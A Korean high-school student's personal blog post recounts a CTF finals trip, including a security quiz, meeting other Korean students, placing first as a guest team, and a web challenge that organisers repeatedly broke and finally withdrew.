CTF 본선 전에 Security Quiz라는 작은 이벤트같은 게임을 하였다. 뭐 ㅋㅋ 처음엔 우리가 이것도 1등할줄 알았다. 그런데 문화도 다르고 배우는게 다르다보니 중간에 포기하고야 말았다. 스피드퀴즈 형태였는데, 전부 영어로 나왔다. 미국 법이라든지 포렌식 순서, 사이버 윤리, 보안 이슈등의 문제가 나왔다. 딱 들었을때 한국말로 뭔지는 알겠고 그런데 이걸 영어로 쓸줄몰라서 답을 못적었다. 스피드 퀴즈 특성상 생각을 정리하기도 힘들었다. 답안들은 정보통신망법 뭐 이런것들이었다.

그리고 두바이, 아부다비에서 공부하고있는 한국 학생들도 만났다. 외지에서 같은 민족을 보니 기분이 설렜다. high school forensic challenge본선으로 온거라는데 우리가 CTF본선 왔다니 신기해 하면서 칭찬도 많이 해줬다. 나중에 연락하라면서 FB account를 공유했다.

본선날 아침에 늦었다. 매번그렇다. 서로 코리안타임을 알려주자, 코리안타임 문화를 세계로 미래로 퍼뜨리자면서 허겁지겁 갔다. 갔더니 대회 셋팅문제로 어짜피 조금 늦게 시작했다. 베트남의 ISITDTU팀도 게스트팀으로 참가했다. 재밌는 문제들이 많이 나왔다. dcua2팀에 선두를 두번뺏기고 계속 1등을 했다. 한문제에 대해서 이야기를 하고싶다.

일주일 밖에 안지났는데 문제이름이 기억이 안난다. 나이가 먹었나보다. 두개의 스테이지가 있던 웹문제 였다. 취약점도 간단했다. exploit을 하려고 하는데 소스코드에 주어진 포트로는 열린 서버가 하나도 없었다. 그런데 갑자기 문제가 수정됬다고 한다. 받았는데 똑같았다. 한 4번 이랬나, 갑자기 포트가 열렸다. 그런데 회원가입을 하니 500에러가 났다. 디비 권한쪽 서버 설정 오류 같은데 로컬에선 잘만 됬다. (flask로 짜여진 웹서버고 sqlite3 씀) 500에러난다고 그러니깐 메일 답장이 딱 3글자 왔다. “???” 물음표 세글자 왔다. 진짜. 하여튼 그러다가 레프리한테도 자꾸 안된다고 그랬더니 알겠다고 했다. 문제 코드가 또 교체됬다그런다. 디핑해보니 파일 하나가 더생겼다. db.sqlite3가 생겼다. 열어보니 users의 기본 유저가 있었따. 해쉬크랙을 하고 로그인을 하니 안된다. 기다렸다. 문제코드가 또 변경됬다. db.sqlite3이 없어졌다. 마찬가지로 회원가입이 또 안됬다. 문제코드가 다시 교체됬다. 이제는 전부 다 괜찮아졌다고 한다. 안된다. 대회 40분 남기고 문제가 사라졌다. 32시간을 버렸다.

답장

대회는 1등했다. 전체 지역은 4등이었나 그랬는데 MENA지역에서는 1등했다. 더욱더 열심히 하고픈 욕구가 생겼다. 준우형이랑 태양이 용진이형이 다 잘해줘서 1등할 수 있었던것 같았다. 게스트팀이었기에 시상식때 우리 이름은 나오지 않았다. 이렇게 끝나 아쉽구나 하고 있었는데 갑자기 불러줬다. 대학생도아니고 고등학생이 1등했다면서 앞으로 나오라고 했다. 떨렸다. 끝나고 뉴욕대 사이버시큐리티 클럽 회장이 와서 교류하자고 명함을 줬다. 레이어세븐이라고 하면서 이메일 주겠다고 했다.

앙

많은 사람들을 만날 수 있어 좋은 기회였다. 내 인생에 다시 이런 기회가 찾아 올 수 있을까 하는 생각이 들기도 한다. 식당가면서 안에 강의하는걸 몇번 봤는데 이런곳에서 공부할 수 있다면 엄청 좋을거 같다는 생각이 들었다. 주최측에서도 많이 신경써주시고 배려해주셔서 감사했다. 다음년도 부터는 아시아와 유럽까지 진출자격을 확대한다고 한다. 우리 팀이 본선에 올라왔던게 가장큰 이유라고 한다. 조금더 열심히 해서 다른 외국대회도 좋은성적을 낼 수 있으면 좋겠다.

hehe